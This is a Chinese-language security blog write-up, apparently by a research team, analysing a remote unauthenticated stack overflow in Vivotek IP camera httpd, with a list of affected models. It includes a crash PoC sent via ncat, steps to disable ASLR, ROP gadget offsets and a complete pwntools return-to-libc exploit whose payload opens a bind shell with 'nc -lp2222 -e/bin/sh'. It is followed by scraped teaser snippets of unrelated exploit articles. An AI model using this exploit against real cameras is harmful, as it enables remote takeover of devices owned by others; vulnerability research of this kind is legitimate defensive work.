Vivotek 摄像头远程栈溢出漏洞分析及利用

Vivotek 摄像头远程栈溢出漏洞分析及利用

近日,Vivotek 旗下多款摄像头被曝出远程未授权栈溢出漏洞,攻击者发送特定数据可导致摄像头进程崩溃。

漏洞作者@bashis 放出了可造成摄像头 Crash 的 PoC :https://www.seebug.org/vuldb/ssvid-96866

该漏洞在 Vivotek 的摄像头中广泛存在,按照官方的安全公告,会影响以下版本

CC8160 CC8370-HV CC8371-HV CD8371-HNTV CD8371-HNVF2 FD8166A
FD8166A-N FD8167A FD8167A-S FD8169A FD8169A-S FD816BA-HF2
FD816BA-HT FD816CA-HF2 FD8177-H FD8179-H FD8182-F1 FD8182-F2
FD8182-T FD8366-V FD8367A-V FD8369A-V FD836BA-EHTV FD836BA-EHVF2
FD836BA-HTV FD836BA-HVF2 FD8377-HV FD8379-HV FD8382-ETV FD8382-EVF2
FD8382-TV FD8382-VF2 FD9171-HT FD9181-HT FD9371-EHTV FD9371-HTV
FD9381-EHTV FD9381-HTV FE8182 FE9181-H FE9182-H FE9191
FE9381-EHV FE9382-EHV FE9391-EV IB8360 IB8360-W IB8367A
IB8369A IB836BA-EHF3 IB836BA-EHT IB836BA-HF3 IB836BA-HT IB8377-H
IB8379-H IB8382-EF3 IB8382-ET IB8382-F3 IB8382-T IB9371-EHT
IB9371-HT IB9381-EHT IB9381-HT IP8160 IP8160-W IP8166
IP9171-HP IP9181-H IZ9361-EH MD8563-EHF2 MD8563-EHF4 MD8563-HF2
MD8563-HF4 MD8564-EH MD8565-N SD9161-H SD9361-EHL SD9362-EH
SD9362-EHL SD9363-EHL SD9364-EH SD9364-EHL SD9365-EHL SD9366-EH
SD9366-EHL VS8100-V2

Vivotek 官方提供了各种型号摄像头的固件下载:http://www.vivotek.com/firmware/ ,这也为我们的研究带来了很多便利。

我们发现,漏洞被曝出之后,在官网固件下载页面中的大多数固件均早于漏洞曝出时间,我们下载了几款摄像头的最新固件进行验证,发现漏洞依然存在,这意味着截止漏洞被曝出,Vivotek 官方对该漏洞的修复并不彻底。众所周知,栈溢出是存在潜在的远程命令执行风险的,为了深入了解该漏洞的影响,我们决定研究下该漏洞的原理及利用。

调试环境搭建

固件下载

由于手头上并没有 Vivotek 的摄像头,我们在官网下载其中一款摄像头固件,使用 qemu 模拟运行。(注:官方在陆续发布各个版本的固件更新,可根据固件发布时间判断官方是否已经修复漏洞)

首先下载摄像头固件:http://download.vivotek.com/downloadfile/downloads/firmware/cc8160firmware.zip

通过 binwalk 直接解压出其中的文件系统,和漏洞有关的主要文件如下

根据 file 命令的结果可知目标架构为 ARM、小端、32位。且该 ELF 文件为动态链接。

修复运行依赖

尝试用 qemu 运行,结果如下

服务没有运行起来,且没有明显的报错,猜想到可能是缺少某些依赖,程序直接退出了,扔到 IDA,从程序退出前的提示:gethostbyname:: Success,回溯程序异常退出原因。

依次加载IDA 菜单栏 -> View -> Open subviews -> Strings,Command + F 搜索 gethostname

查看交叉引用信息,定位相应代码段

异常退出部分代码如下

为了看的更直观,我们来贴一下 F5 的结果,如下

这部分主要涉及两个函数。gethostname():返回本地主机的标准主机名,如果函数成功,则返回 0。如果发生错误则返回 -1。gethostbyname():用域名或主机名获取IP地址。

Linux 操作系统的 hostname 是一个 kernel 变量,可以通过 hostname 命令来查看本机的 hostname。也可以直接 cat /proc/sys/kernel/hostname 查看。

我们只需要将二者改成一致,httpd 服务即可成功运行。

调试环境

为了方便调试,还需要搭建 qemu 虚拟机环境。

qemu 镜像文件下载:https://people.debian.org/~aurel32/qemu/armel/(下载内核 3.2 的版本)

远程调试 gdbserver:https://github.com/mzpqnxow/gdb-static-cross/tree/master/prebuilt-static

qemu 虚拟机建议采用 桥接 方式和主机连接。

#!/bin/bash

sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.2.1/24
qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile -initrd initrd.img-3.2.0-4-versatile -hda debian_wheezy_armel_standard.qcow2 -append "root=/dev/sda1"  -net nic -net tap,ifname=tap0,script=no,downscript=no -nographic

启动虚拟机,进行简单配置等待远程调试。

漏洞研究

定位溢出点

以下为漏洞作者 @bashis 提供的 PoC

echo -en "POST /cgi-bin/admin/upgrade.cgi
HTTP/1.0\nContent-Length:AAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIXXXX\n\r\n\r\n"  | ncat -v 192.168.57.20 80

老套路, 根据 Content-Length 很容易定位到溢出点,如下

惊讶到了,strncpy() 函数的长度参数竟然这么用,妥妥的溢出。

调用栈布局

dest 缓冲区起始地址距离栈底 0x38 字节,栈上依次为 LR、R11-R4。Content-Length 长度超过 0x38 - 4 字节就会覆盖函数的返回地址 LR。

exp 研究

strncpy() 函数引起的栈溢出,在利用时就会有很 egg hurt 的 0x00 坏字符问题,如果我们的输入数据中包含 0x00,将会被截断导致漏洞利用失败。根据溢出点附近的汇编代码来看,0x0a 也会被截断。且开启了 NX 保护,这意味着我们无法在栈上部署 shellcode

?

尝试通过 return2libc 的方式 getshell。由于没有实际的摄像头,我们不知道目标系统是否开启了 ASLR ,如果 ASLR 是开启的且没有其它可用来暴露 libC动态链接库内存地址的漏洞,那么利用该漏洞将会是一个很难受的过程。

采用以下方式暂时关闭 ASLR

echo 0 > /proc/sys/kernel/randomize_va_space

libC 库的加载地址如下

接下来就需要精心构造数据,劫持函数的执行流程了。有一点需要注意,X86 架构下的所有参数都是通过堆栈传递的,而在 MIPS 和 ARM 架构中,会优先通过寄存器传递参数,如果参数个数超过了寄存器的数量,则将剩下的参数压入调用参数空间(即堆栈)。

从前面的分析来看,只要我们构造 0x38 - 4 字节以上的数据,栈底的函数返回地址就会被我们劫持。system() 函数地址 = libC 库在内存中的加载基址 + system() 函数在 libC 库中的偏移,通过劫持该地址为 libC 库中的 system() 函数地址,再设置 R0 寄存器指向命令字符串,就可以执行任意命令。

经过验证,nc 命令可以正常使用。

接下来我们开始构造 ROP 利用链,大致思路见以下汇编代码。

Github 上有个很赞的项目:https://github.com/JonathanSalwan/ROPgadget

它可以用来搜索 ELF 文件中的 gadgets,方便我们构造 ROP 链。

我们需要将字符串参数 nc -lp2222 -e/bin/sh 部署到栈上,并且将地址存入 R0。该参数包含 20 个字节,且不含坏字符。

libC 基址为 0xb6f2d000,由该地址可知 gadget 在内存中的有效地址。发生溢出时栈顶地址为 0xbeffeb50

利用 ROPgadget 搜索可用的 gadgets,在选择 gadget 时要还考虑坏字符的问题。比如说如下的 gadget 就不得行。

再搜索一条可用的 gadget,俗称曲线救国。

选择以下两条 gadget,构造 ROP 如下。

# 基于 qemu 模拟环境
# 摄像头型号:Vivotek CC8160
# 0x00048784 : pop {r1, pc}
# 0x00016aa4 : mov r0, r1 ; pop {r4, r5, pc}

#!/usr/bin/python

from pwn import *

libc_base = 0xb6f2d000  # libC 库在内存中的加载地址
stack_base = 0xbeffeb70 # 崩溃时 SP 寄存器的地址
libc_elf = ELF(‘libuClibc-0.9.33.3-git.so‘)

payload = (0x38 - 4) * ‘a‘ # padding
payload +=  p32(0x00048784 + libc_base) # gadget1
payload += p32(0x80 + stack_base) # 栈中命令参数地址
payload += p32(0x00016aa4 + libc_base) # gadget2
payload += (0x8 * ‘a‘)  # padding
payload += p32(libc_elf.symbols[‘system‘] + libc_base) # 内存中 system() 函数地址
payload += (‘pwd;‘ * 0x100 + ‘nc\x20-lp2222\x20-e/bin/sh\x20>‘) # 命令参数

payload = ‘echo -en "POST /cgi-bin/admin/upgrade.cgi \nHTTP/1.0\nContent-Length:{}\n\r\n\r\n"  | nc -v 192.168.2.2 80‘.format(payload)

通过调试 ,我们可以获得崩溃时的栈顶地址,为了确保命令能执行,我们在真正要执行的命令前加了部分命令作为缓冲。

可以看到,开启了 NX 保护的栈上虽然不可执行代码,但是依然可以在上面部署数据。我们只需要将要执行的命令部署到栈上,构造 ROP 让 R0 寄存器指向栈上的命令所在区域,然后 return2libC 调用系统函数,就可以执行任意命令了。

已将 PoC 和 EXP 整理成 Pocsuite 脚本:https://www.seebug.org/vuldb/ssvid-96866,验证效果如下。

致谢

第一次接触 ARM 汇编,有很多不足之处,欢迎各大佬指正。中途踩了不少坑,感谢 404 小伙伴 @Hcamael 和 @没有ID 的各种疑难解答。

参考链接

时间: 2024-09-29 04:04:27

Vivotek 摄像头远程栈溢出漏洞分析及利用的相关文章

PCMan FTP Server缓冲区溢出漏洞分析与利用

简要介绍 这个软件是台湾国立阳明大学医学系的一个学生在大四的时候写的,这个漏洞是有CVE的(CVE-2013-4730),软件应该还挺普及的,这是一个缓冲区溢出漏洞 具体exp可以点这里 实验用poc(其实这里直接对USER命令溢出都是可以的,即不用知道账号密码即可远程代码执行,USER命令的buf距离返回地址是2000) import socket as s from sys import argv # if(len(argv) != 4): print "USAGE: %s host <

路由器漏洞挖掘之 DIR-815 栈溢出漏洞分析

这次笔者来复现一个比较经典的栈溢出漏洞:D-link dir-815 栈溢出.其实这个路由器的栈溢出漏洞的利用方式和之前 DVRF 靶机平台的栈溢出例子大同小异,只是需要注意下一些小的地方. 前言 这个栈溢出的原因是由于 cookie 的值过长导致的栈溢出.服务端取得客户端请求的 HTTP 头中 Cookie 字段中 uid 的值,格式化到栈上导致溢出. 漏洞分析 大体流程 首先还是先将 cgibin 加载到 IDA 中,定位到 sobj_get_string 函数. 在 sobj_get_st

一个简单的远程溢出漏洞分析

人生第一个漏洞分析,好激动. 因为从来没有接触过漏洞分析方面,以前也只是看过一点书,所以一直想找个东西练练手,结果翻到了看雪Exploit me的题目,本来以为会很难,结果还是很基础的,适合我这样的新手练手. http://bbs.pediy.com/showthread.php?t=56998 进入正题 首先拿到了一个Windows程序,拖到IDA里打算看一下,结果发现程序逻辑出乎意料的简单.就是一个很常规的SOCKET流程带有一些错误处理. 下面详细说明. mov ebp,eax test

IE UAF 漏洞(CVE-2012-4969)漏洞分析与利用

简介 首先这是一个IE的UAF的漏洞,由于IE 6至9版本中的mshtml.dll中的CMshtmlEd::Exec函数中存在释放后使用漏洞,可导致任意代码执行. 本文包含了分析与利用,包含了对象的申请,对象在何时释放,什么时候被占位等,在漏洞利用方面,metasploit生成的exp的heap Spray有点难看,就自己根据自己的经验写了exp 实验环境 Windows 7 Sp1 32位 IE 8 windbg IDA mona 漏洞分析 获得exp(poc) 搜了一下metasploit那

Discuz!7.2 faq.php文件SQL注入漏洞分析及利用实战

[antian365.com] simeon 最近网上公开了Discuz!7.2版本faq.php文件SQL注入0day,通过对文件漏洞分析以及实战测试,效果不错,公开利用exp的利用需要对SQL语句以及数据库等相当了解,在某些情况下需要多种技术配合才能最终攻克目标,下面就漏洞代码以及实战利用等进行探讨,对获取管理员密码的利用,uc_key获取webshell,插件导入获取Webshell等进行探讨. 1. faq.php文件SQL注入漏洞代码分析 本次存在漏洞的文件为faq.php,打开该文件

SSRF漏洞分析,利用及其防御

0x00 什么是SSRF SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种有攻击者构造形成有服务器发起请求的一个安全漏洞.一般情况下,SSRF攻击的目标是从外网无法访问的内部系统. 0x01 SSRF是如何产生的 SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制.比如从指定URL地址获取网页完本内容.加载指定地址的图片.下载等. 0x02 SSRF的利用场景 <meta charset="utf-8

DVWA系列之23 medium级别上传漏洞分析与利用

下面再来分析medium级别的代码: 这里分别通过"$_FILES['uploaded']['type']"和"$_FILES['uploaded']['size']"获取了上传文件的 MIME类型和文件大小. MIME类型用来设定某种扩展名文件的打开方式,当具有该扩展名的文件被访问时,浏览器会自动使用指定的应用程序来打开,如jpg图片的MIME为image/jpeg. 因而medium与low的主要区别就是对文件的MIME类型和文件大小进行了判断,这样就只允许上传

【转】CVE-2013-2597 adcb 驱动栈溢出漏洞分析

Stack-based buffer overflow in acdb audio driver (CVE-2013-2597) Stack-based buffer overflow in acdb audio driver (CVE-2013-2597)

PHP远程DoS漏洞深入分析及防护方案

5月14日,国内爆出php远程DoS漏洞,官方编号69364.利用该漏洞构造poc发起链接,很容易导致目标主机cpu的占用率100%,涉及PHP多个版本.绿盟科技威胁响应中心随即启动应急机制, 应急响应工作随即启动. 15日夜,启动漏洞分析工作,同步将分析结果发送产品团队: 16日,发布产品规则升级通告,绿盟科技RSAS产品升级相继就绪,客户通过在线及离线升级的方法,即可获得漏洞的检测能力:同时,在线漏洞检测引擎就绪: 17日,漏洞深入分析进行中.绿盟科技NIPS产品升级就绪,客户通过在线及离线